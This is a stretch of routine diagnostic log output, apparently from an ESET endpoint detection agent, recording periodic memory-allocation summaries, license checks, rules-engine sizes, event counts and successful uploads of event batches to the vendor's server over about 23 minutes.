2026-03-04 18:30:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1354 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 138 KB; rules::ProcessConditionsCache: 105 KB; BaseEvent: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21245 KB;
2026-03-04 18:31:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1736 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BaseEvent: 213 KB; cloudutils::CloudData: 138 KB; rules::ProcessConditionsCache: 91 KB; BatchSerializer::EventsQueueTag: 55 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 21869 KB;
2026-03-04 18:32:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2095 KB; ModuleMetadata: 1984 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; BaseEvent: 387 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 102 KB; rules::ProcessConditionsCache: 72 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22424 KB;
2026-03-04 18:33:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:33:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 18:33:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:33:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:33:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2467 KB; ModuleMetadata: 1984 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 585 KB; BaseEvent: 568 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 552 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BatchSerializer::EventsQueueTag: 150 KB; cloudutils::CloudData: 138 KB; rules::ProcessConditionsCache: 72 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23113 KB;
2026-03-04 18:33:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 18:33:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 18:33:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 18:33:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 18:34:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:30:44, To:, 2026-03-04 18:34:45, Duration (s):, 241, Events Per Second:, 17.090, Events:, 4123, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3436, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 686, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 461640
2026-03-04 18:34:48 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s680ms.
2026-03-04 18:34:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1437 KB; TcpIpConnectionsManager: 616 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 549 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 240 KB; cloudutils::CloudData: 138 KB; BaseEvent: 31 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 20 KB; ProcessInfoCommandLineTag: 10 KB; BatchSerializer::EventsQueueTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21604 KB;
2026-03-04 18:35:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1802 KB; TcpIpConnectionsManager: 614 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 235 KB; BaseEvent: 213 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 56 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22160 KB;
2026-03-04 18:36:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2184 KB; ModuleMetadata: 1984 KB; TcpIpConnectionsManager: 626 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; BaseEvent: 397 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 262 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 105 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22814 KB;
2026-03-04 18:37:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2545 KB; ModuleMetadata: 1984 KB; TcpIpConnectionsManager: 590 KB; BaseEvent: 576 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 237 KB; BatchSerializer::EventsQueueTag: 153 KB; cloudutils::CloudData: 138 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23342 KB;
2026-03-04 18:38:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:38:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 18:38:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:38:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:38:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:34:44, To:, 2026-03-04 18:38:45, Duration (s):, 241, Events Per Second:, 17.021, Events:, 4108, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3418, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 689, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 464164
2026-03-04 18:38:48 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s662ms.
2026-03-04 18:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1421 KB; TcpIpConnectionsManager: 599 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; rules::ProcessConditionsCache: 335 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 138 KB; BaseEvent: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; BatchSerializer::EventsQueueTag: 9 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21649 KB;
2026-03-04 18:38:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 18:38:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 18:38:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 18:38:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 18:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1853 KB; TcpIpConnectionsManager: 580 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 514 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 289 KB; BaseEvent: 232 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 66 KB; ProcessInfoCommandLineTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22264 KB;
2026-03-04 18:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2216 KB; ModuleMetadata: 1984 KB; TcpIpConnectionsManager: 580 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 517 KB; BaseEvent: 409 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 273 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 112 KB; ProcessInfoCommandLineTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22839 KB;
2026-03-04 18:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2629 KB; ModuleMetadata: 1984 KB; TcpIpConnectionsManager: 622 KB; BaseEvent: 595 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; rules::ProcessConditionsCache: 363 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BatchSerializer::EventsQueueTag: 163 KB; cloudutils::CloudData: 138 KB; ProcessInfoCommandLineTag: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23632 KB;
2026-03-04 18:42:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:38:44, To:, 2026-03-04 18:42:33, Duration (s):, 229, Events Per Second:, 17.982, Events:, 4124, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3471, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 652, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 467410
2026-03-04 18:42:34 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s407ms.
2026-03-04 18:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1537 KB; TcpIpConnectionsManager: 624 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 520 KB; rules::ProcessConditionsCache: 419 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 138 KB; BaseEvent: 70 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 18 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 21911 KB;
2026-03-04 18:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 18:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1984 KB; ProcessInfo: 1896 KB; TcpIpConnectionsManager: 635 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; rules::ProcessConditionsCache: 401 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BaseEvent: 250 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 68 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22466 KB;
2026-03-04 18:43:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 18:43:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 18:43:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 18:43:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 18:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2257 KB; ModuleMetadata: 1984 KB; TcpIpConnectionsManager: 606 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 432 KB; rules::ProcessConditionsCache: 385 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 115 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23014 KB;
2026-03-04 18:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2454 KB; ModuleMetadata: 1984 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 531 KB; TcpIpConnectionsManager: 516 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 183 KB; BatchSerializer::EventsQueueTag: 141 KB; cloudutils::CloudData: 138 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 23044 KB;
2026-03-04 18:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2526 KB; ModuleMetadata: 1985 KB; BaseEvent: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; TcpIpConnectionsManager: 358 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; rules::ProcessConditionsCache: 267 KB; BatchSerializer::EventsQueueTag: 151 KB; cloudutils::CloudData: 138 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23090 KB;
2026-03-04 18:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 2718 KB; ModuleMetadata: 1985 KB; BaseEvent: 665 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; TcpIpConnectionsManager: 260 KB; BatchSerializer::EventsQueueTag: 176 KB; cloudutils::CloudData: 138 KB; rules::ProcessConditionsCache: 68 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 23108 KB;
2026-03-04 18:48:17 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:42:32, To:, 2026-03-04 18:48:17, Duration (s):, 345, Events Per Second:, 11.780, Events:, 4071, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3375, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 693, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 452252
2026-03-04 18:48:19 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s369ms.
2026-03-04 18:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 18:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1985 KB; ProcessInfo: 881 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; TcpIpConnectionsManager: 329 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 138 KB; BaseEvent: 113 KB; rules::ProcessConditionsCache: 53 KB; BatchSerializer::EventsQueueTag: 29 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 20629 KB;
2026-03-04 18:48:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 18:48:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 18:48:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 18:48:56 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 18:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1985 KB; ProcessInfo: 1263 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; TcpIpConnectionsManager: 481 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BaseEvent: 291 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 77 KB; rules::ProcessConditionsCache: 73 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 21410 KB;
2026-03-04 18:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1985 KB; ProcessInfo: 1628 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 474 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 138 KB; BatchSerializer::EventsQueueTag: 123 KB; rules::ProcessConditionsCache: 62 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 22064 KB;
2026-03-04 18:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ProcessInfo: 1991 KB; ModuleMetadata: 1985 KB; BaseEvent: 652 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 518 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; BatchSerializer::EventsQueueTag: 170 KB; cloudutils::CloudData: 138 KB; rules::ProcessConditionsCache: 46 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22638 KB;
2026-03-04 18:52:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 18:48:17, To:, 2026-03-04 18:52:25, Duration (s):, 248, Events Per Second:, 16.714, Events:, 4149, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3431, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 715, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 463293
2026-03-04 18:52:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s084ms.
2026-03-04 18:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 1985 KB; ProcessInfo: 1555 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 519 KB; ModuleInfoCache: 318 KB; CacheEntry: 292 KB; cloudutils::CloudData: 138 KB; BaseEvent: 98 KB; rules::ProcessConditionsCache: 49 KB; BatchSerializer::EventsQueueTag: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 21507 KB;
2026-03-04 18:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 18:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 18:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 15379 KB; ModuleMetadata: 2023 KB; ProcessInfo: 1918 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; ModuleInfoCache: 322 KB; CacheEntry: 297 KB; BaseEvent: 280 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 73 KB; rules::ProcessConditionsCache: 41 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 22125 KB;
2026-03-04 18:53:57 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 18:53:57 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 18:53:57 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 18:53:57 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
